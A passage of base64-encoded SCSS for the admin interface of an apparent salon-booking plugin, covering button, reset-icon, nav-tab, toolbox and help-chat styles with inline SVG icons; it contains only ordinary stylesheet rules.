Glvbjogcm93LXJldmVyc2U7XG4gICAganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogMC42cmVtO1xuICAgIHBhZGRpbmc6IDFyZW07XG4gICAgZm9udC1zaXplOiAxLjEyNXJlbTtcblxuICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgICBib3JkZXItd2lkdGg6IDFweCAycHggMnB4IDFweDtcbiAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXG4gICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICY6YWZ0ZXIge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgd2lkdGg6IDEuMzVyZW07XG4gICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICAgYmFja2dyb3VuZC1zaXplOiBjb250YWluO1xuICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMjcnIGhlaWdodD0nMzAnIHZpZXdCb3g9JzAgMCAyNyAzMCclM0UlM0NnIGlkPSdJY29uX2ZlYXRoZXItdXNlcicgZGF0YS1uYW1lPSdJY29uIGZlYXRoZXItdXNlcicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTQuNSAtMyknJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzEyJyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxMicgZD0nTTMwLDMzYTEuNSwxLjUsMCwwLDEtMS41LTEuNXYtM0E0LjUwNSw0LjUwNSwwLDAsMCwyNCwyNEgxMmE0LjUsNC41LDAsMCwwLTQuNSw0LjV2M2ExLjUsMS41LDAsMCwxLTMsMHYtM0E3LjUsNy41LDAsMCwxLDEyLDIxSDI0YTcuNTA5LDcuNTA5LDAsMCwxLDcuNSw3LjV2M0ExLjUsMS41LDAsMCwxLDMwLDMzWicgZmlsbD0nJTIzMDAzNTUzJy8lM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTMnIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDEzJyBkPSdNMTgsM2E3LjUsNy41LDAsMSwxLTcuNSw3LjVBNy41MDgsNy41MDgsMCwwLDEsMTgsM1ptMCwxMmE0LjUsNC41LDAsMSwwLTQuNS00LjVBNC41MDUsNC41MDUsMCwwLDAsMTgsMTVaJyBmaWxsPSclMjMwMDM1NTMnLyUzRSUzQy9nJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIsXG4gICAgICAmOmZvY3VzIHtcbiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcbiAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICB9XG4gICAgICAvLyAmOmhvdmVyIHtcbiAgICAgIC8vIFx0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW47XG4gICAgICAvLyBcdGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG4gICAgICAvLyBcdHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgIC8vIFx0Jjo6YWZ0ZXIge1xuICAgICAgLy8gXHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMjcnIGhlaWdodD0nMzAnIHZpZXdCb3g9JzAgMCAyNyAzMCclM0UlM0NnIGlkPSdJY29uX2ZlYXRoZXItdXNlcicgZGF0YS1uYW1lPSdJY29uIGZlYXRoZXItdXNlcicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTQuNSAtMyknJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzEyJyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxMicgZD0nTTMwLDMzYTEuNSwxLjUsMCwwLDEtMS41LTEuNXYtM0E0LjUwNSw0LjUwNSwwLDAsMCwyNCwyNEgxMmE0LjUsNC41LDAsMCwwLTQuNSw0LjV2M2ExLjUsMS41LDAsMCwxLTMsMHYtM0E3LjUsNy41LDAsMCwxLDEyLDIxSDI0YTcuNTA5LDcuNTA5LDAsMCwxLDcuNSw3LjV2M0ExLjUsMS41LDAsMCwxLDMwLDMzWicgZmlsbD0nJTIzZmZmZmZmJy8lM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTMnIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDEzJyBkPSdNMTgsM2E3LjUsNy41LDAsMSwxLTcuNSw3LjVBNy41MDgsNy41MDgsMCwwLDEsMTgsM1ptMCwxMmE0LjUsNC41LDAsMSwwLTQuNS00LjVBNC41MDUsNC41MDUsMCwwLDAsMTgsMTVaJyBmaWxsPSclMjNmZmZmZmYnLyUzRSUzQy9nJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgIC8vIFx0fVxuICAgICAgLy8gfVxuICAgIH1cbiAgfVxuICAjc2xuLWJvb2tpbmdfX2N1c3RvbWVyX19yZXNldCxcbiAgLnNsbi1ib29raW5nLS1yZXNldCB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG4gICAganVzdGlmeS1jb250ZW50OiBmbGV4LWVuZDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogMC42cmVtO1xuICAgIHBhZGRpbmc6IDFyZW07XG4gICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyaygxKTtcbiAgICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICAgIGJvcmRlci13aWR0aDogMXB4IDJweCAycHggMXB4O1xuICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgZm9udC1zaXplOiAxLjEyNXJlbTtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG4gICAgJjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICB3aWR0aDogMS4zNXJlbTtcbiAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgY29udGVudDogJyc7XG4gICAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG4gICAgICBiYWNrZ3JvdW5kLXNpemU6IGNvbnRhaW47XG4gICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgLy8gYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHdpZHRoPScyNS41MicgaGVpZ2h0PSczMCcgdmlld0JveD0nMCAwIDI1LjUyIDMwJyUzRSUzQ2cgaWQ9J25vdW4tZGVsZXRlLTc0MDY3NDAnIHRyYW5zZm9ybT0ndHJhbnNsYXRlKC0yMS4wNzggLTcpJyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xMicgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTInIGQ9J00yNywyOFY0NC40NDhhNC4yOTIsNC4yOTIsMCwwLDAsNC4yODgsNC4yODhINDNhNC4yOTIsNC4yOTIsMCwwLDAsNC4yODgtNC4yODhWMjhINDQuNjQyVjQ0LjQ0OEExLjY0MywxLjY0MywwLDAsMSw0Myw0Ni4wODhIMzEuMjg4YTEuNjQ1LDEuNjQ1LDAsMCwxLTEuNjQxLTEuNjQxVjI4WicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTMuMzA5IC0xMS43MzUpJyBmaWxsPSclMjNhMDE1MTQnLyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xMycgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTMnIGQ9J000MSwzNWgyLjY0N1Y0NS40MjFINDFaJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSgtMTEuMTMzIC0xNS42NDcpJyBmaWxsPSclMjNhMDE1MTQnLyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xNCcgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTQnIGQ9J001MiwzNWgyLjY0N1Y0NS40MjFINTJaJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSgtMTcuMjggLTE1LjY0NyknIGZpbGw9JyUyM2EwMTUxNCcvJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzE1JyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxNScgZD0nTTQ2LjYsMTEuNDEySDQxLjM5MUw0MC4yNjIsOC41OTJBMi41MjgsMi41MjgsMCwwLDAsMzcuOTEsN0gzMC4yODZBMi41MzEsMi41MzEsMCwwLDAsMjcuOTMsOC41OTJMMjYuOCwxMS40MTJIMjEuMDc4djIuNjQ3SDQ2LjU5bDAtMi42NDdaTTMwLjM2Miw5LjY0N2g3LjQ3NGwuNzA3LDEuNzY1SDI5LjY1NVonIGZpbGw9JyUyM2EwMTUxNCcvJTNFJTNDL2clM0UlM0Mvc3ZnJTNFJTBBXCIpO1xuICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHdpZHRoPScyNS41JyBoZWlnaHQ9JzMwJyB2aWV3Qm94PScwIDAgMjUuNSAzMCclM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTYnIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDE2JyBkPSdNMjIuODE3LDcuNDQ2QTEuNSwxLjUsMCwwLDEsMjIuOCw5LjU2N2wtMi4yMjQsMi4yaDEuMTdBMTIuNjE4LDEyLjYxOCwwLDEsMSw5LDI0LjM4MmExLjUsMS41LDAsMCwxLDMsMCw5Ljc1MSw5Ljc1MSwwLDEsMCw5Ljc1LTkuNjE4SDIwLjU4bDIuMjI0LDIuMkExLjUsMS41LDAsMSwxLDIwLjcsMTkuMWwtNC44MjEtNC43NjVhMS41LDEuNSwwLDAsMSwwLTIuMTM0TDIwLjcsNy40MzNBMS41LDEuNSwwLDAsMSwyMi44MTcsNy40NDZaJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSgtOSAtNyknIGZpbGwtcnVsZT0nZXZlbm9kZCcgZmlsbD0nJTIzYTAxNTE0Jy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgIH1cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgJjpob3ZlcixcbiAgICAgICY6Zm9jdXMge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWJnKDEpO1xuICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1kYXJrKDEpO1xuICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbSgxKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi8vIEJUTiBVVElMSVRJRVNcbi5zbG4tYnRuLS1kaXNhYmxlZCB7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICBjdXJzb3I6IG5vdC1hbGxvd2VkICFpbXBvcnRhbnQ7XG4gIG9wYWNpdHk6IDAuNTtcbiAgJiNzbG4tYWRkc2VydmljZSB7XG4gICAgcG9pbnRlci1ldmVudHM6IGF1dG87XG4gIH1cbn1cbi5zbG4tYnRuLS1oaWRkZW4ge1xuICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJ0bi0tYmxpbmssXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tYmxpbmssXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJ0bi0tdGV4dG9ubHktLWVtcGguc2xuLWJ0bi0tYmxpbmssXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tdGV4dG9ubHktLWVtcGguc2xuLWJ0bi0tYmxpbmsge1xuICBhbmltYXRpb24tZHVyYXRpb246IDE1MDBtcztcbiAgYW5pbWF0aW9uLW5hbWU6IGJ0bmJsaW5rO1xufVxuQGtleWZyYW1lcyBidG5ibGluayB7XG4gIGZyb20ge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSwgMSk7XG4gIH1cbiAgMTAlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSwgMS4xKTtcbiAgfVxuICAxNSUge1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xLCAxLjEpO1xuICB9XG4gIHRvIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEsIDEpO1xuICB9XG59XG4uc2xuLWJ0bi0taW5saW5lLFxuLnNsbi1idG4tLWlubGluZS0taWNvbiB7XG4gIHBhZGRpbmc6IDFlbSAxLjI1ZW07XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX251LS1oaWdoZW1waGE7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBmb250LXNpemU6IDFyZW07XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LS1vcDI1O1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwLjUpO1xuICAvL2JvcmRlcjogMXB4IHNvbGlkICRjbF9tYWluLS1saWdodDtcbiAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG4gIC8vY29sb3I6ICRjbF9tYWluO1xuICBib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMucmVtKDRweCk7XG4gIC8qIEZJWCAwOTIwMjMgKi9cbiAgJjo6YmVmb3JlIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgbWFyZ2luLXJpZ2h0OiAwLjVlbTtcbiAgICBAZXh0ZW5kICVmb250LWljb247XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMzcHgpO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBjb250ZW50OiAnXFxmNGZjJztcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKFxuICAgICAgYmFja2dyb3VuZC1jb2xvciAyMDBtcyxcbiAgICAgIGNvbG9yIDMwMG1zLFxuICAgICAgb3BhY2l0eSAyNTBtc1xuICAgICk7XG4gIH1cblxuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgLyogRklYIDA5MjAyMyBcbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgICAqL1xuICAgIH1cbiAgfVxufVxuLy8gQlROIFVUSUxJVElFUyAvLyBFTkRcbi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlciAubmF2LXRhYixcbmgyLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIC5uYXYtdGFiIHtcbiAgQGV4dGVuZCAuc2xuLWJ0bjtcbiAgQGV4dGVuZCAuc2xuLWJ0bi0tYm9yZGVyb25seS0td25seSFvcHRpb25hbDtcbiAgQGV4dGVuZCAuc2xuLWJ0bi0tbWVkaXVtO1xuICBmb250LXNpemU6IDAuNzVyZW07XG4gIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gIG1hcmdpbjogMDtcbiAgJjpub3QoLm5hdi10YWItYWN0aXZlKTpub3QoOmxhc3Qtb2YtdHlwZSkge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIGJvcmRlci1yaWdodDogbm9uZTtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgYm9yZGVyLXJpZ2h0OiBpbmhlcml0O1xuICB9XG59XG4uc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIgLm5hdi10YWIubmF2LXRhYi1hY3RpdmUsXG5oMi5zbG4tbmF2LXRhYi13cmFwcGVyLm5hdi10YWItd3JhcHBlciAubmF2LXRhYi5uYXYtdGFiLWFjdGl2ZSB7XG4gIEBleHRlbmQgLnNsbi1idG4tLWFjdGl2ZTtcbn1cbi8vIC5idG4tZ3JvdXAuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIgLmFjdGl2ZSB7XG4vLyAgIEBleHRlbmQgLnNsbi1idG4tLW9rO1xuLy8gfVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuY29sLXNtLTEyLnNsbi1hZG1pbi1uYXYsXG4jc2xuLXNhbG9uLS1hZG1pbiAuY29sLW1kLTEyLnNsbi1hZG1pbi1uYXYsXG4uc2xuLWFkbWluLW5hdiB7XG4gIC8vQGV4dGVuZCAlZGlzcGxheS1mbGV4O1xuICBkaXNwbGF5OiBibG9jaztcbiAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgbGkge1xuICAgIGZsb2F0OiBsZWZ0O1xuICB9XG4gIGEge1xuICAgIEBleHRlbmQgLnNsbi1idG47XG4gICAgQGV4dGVuZCAuc2xuLWJ0bi0tbm9ia2c7XG4gICAgQGV4dGVuZCAuc2xuLWJ0bi0tbWVkaXVtO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KSAhaW1wb3J0YW50O1xuICAgIG1pbi13aWR0aDogMTIwcHg7XG4gICAgbWFyZ2luOiAwO1xuICAgIGJvcmRlci1yaWdodDogbm9uZTtcbiAgICAmLmN1cnJlbnQge1xuICAgICAgQGV4dGVuZCAuc2xuLWJ0bi0tYWN0aXZlO1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGZsb2F0OiByaWdodDtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdGV4dC1vdXRsaW5lOiAwO1xuICAgIHJpZ2h0OiAxMHB4O1xuICB9XG59XG5cbi5zbG4tdGFiLW5hdiB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBib3JkZXItYm90dG9tOiBub25lO1xuICBsaSB7XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICBhIHtcbiAgICAgIEBleHRlbmQgLnNsbi1idG47XG4gICAgICBAZXh0ZW5kIC5zbG4tYnRuLS1ib3JkZXJvbmx5O1xuICAgICAgQGV4dGVuZCAuc2xuLWJ0bi0tbWVkaXVtO1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgbWFyZ2luOiAwO1xuICAgIH1cbiAgICAmLmFjdGl2ZSBhIHtcbiAgICAgIEBleHRlbmQgLnNsbi1idG4tLWFjdGl2ZTtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgbGk6bm90KC5hY3RpdmUpOm5vdCg6bGFzdC1vZi10eXBlKSB7XG4gICAgICBhIHtcbiAgICAgICAgYm9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBsaSB7XG4gICAgICBmbG9hdDogbGVmdDtcbiAgICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgICBkaXNwbGF5OiBsaXN0LWl0ZW07XG4gICAgICBhIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiBub3JtYWw7XG4gICAgICAgIG1hcmdpbjogMDtcbiAgICAgIH1cbiAgICAgICY6bm90KC5hY3RpdmUpOm5vdCg6bGFzdC1vZi10eXBlKSB7XG4gICAgICAgIGEge1xuICAgICAgICAgIGJvcmRlci1yaWdodC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi8vIFRPT0JPWFxuLnNsbi10b29sYm94IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbiwgMC45KTtcbiAgbWF4LXdpZHRoOiAxMDAlO1xuICBmbG9hdDogcmlnaHQ7XG4gIG1hcmdpbi10b3A6IDA7XG4gIHBhZGRpbmc6IDA7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgcmlnaHQ6IDA7XG4gIGJvdHRvbTogMTAwJTtcbiAgbWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgbWF4LWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1OXB4KTtcblxuICBvdmVyZmxvdzogaGlkZGVuO1xuICBAZXh0ZW5kICV6aS1uYXZpZ2F6aW9uZTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24obWF4LWhlaWdodCA1MDBtcywgcGFkZGluZyAyMDBtcyk7XG4gIC5zbG4tYnRuIHtcbiAgICBvcGFjaXR5OiAwO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKG9wYWNpdHkgMjAwbXMpO1xuICB9XG4gICYub3BlbiB7XG4gICAgbWF4LWhlaWdodDogNjAwcHg7XG4gICAgLnNsbi1idG4ge1xuICAgICAgb3BhY2l0eTogMTtcbiAgICB9XG4gICAgLnNsbi10b29sYm94LXRyaWdnZXIge1xuICAgICAgb3BhY2l0eTogMC43NTtcbiAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJjpub3QoLm9wZW4pIHtcbiAgICBtYXgtaGVpZ2h0OiAwcHg7XG4gICAgcGFkZGluZzogMDtcbiAgfVxuICAuc2xuLWJ0biB7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpO1xuICAgIHdpZHRoOiAxMDAlO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBtYXgtd2lkdGg6IDMwMHB4O1xuICAgIGZsb2F0OiByaWdodDtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICByaWdodDogMDtcbiAgICBib3R0b206IDk5JTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwLjg1KTtcbiAgICAmOm5vdCgub3Blbikge1xuICAgICAgbWF4LWhlaWdodDogMHB4O1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGZsb2F0OiBub25lO1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBib3R0b206IGF1dG87XG4gICAgYm90dG9tOiBpbml0aWFsO1xuICAgIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gICAgbWF4LWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1OXB4KTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwKTtcbiAgICAmOm5vdCgub3Blbikge1xuICAgICAgbWF4LWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1OXB4KTtcbiAgICB9XG4gICAgLnNsbi10b29sYm94LXRyaWdnZXIge1xuICAgICAgb3BhY2l0eTogMTtcbiAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihvcGFjaXR5IDI1MG1zKTtcbiAgICB9XG4gIH1cbn1cbi8vIFRPT0xCT1ggLy8gRU5EXG4vLyBIRUxQIENIQVRcbi5zbG4tYWRtaW4tc2lkZWJhcixcbi5zbG4tY2FsZW5kYXItc2lkZWJhciB7XG4gIC5zbG4taGVscC1idXR0b24ge1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgJi5zbG4tYnRuLS1iaWcuc2xuLWJ0bi0taWNvbiB7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDgwcHgpO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU4cHgpO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLW5vYmtnIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWdyZWVuO1xuICAgICAgY29sb3I6ICM2NmJiNmE7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7XG4gICAgICB9XG4gICAgICAmOmZvY3VzIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWdyZWVuO1xuICAgICAgICBjb2xvcjogIzY2YmI2YTtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZ3JlZW47XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwZGFjNjtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjZiYjZhO1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZp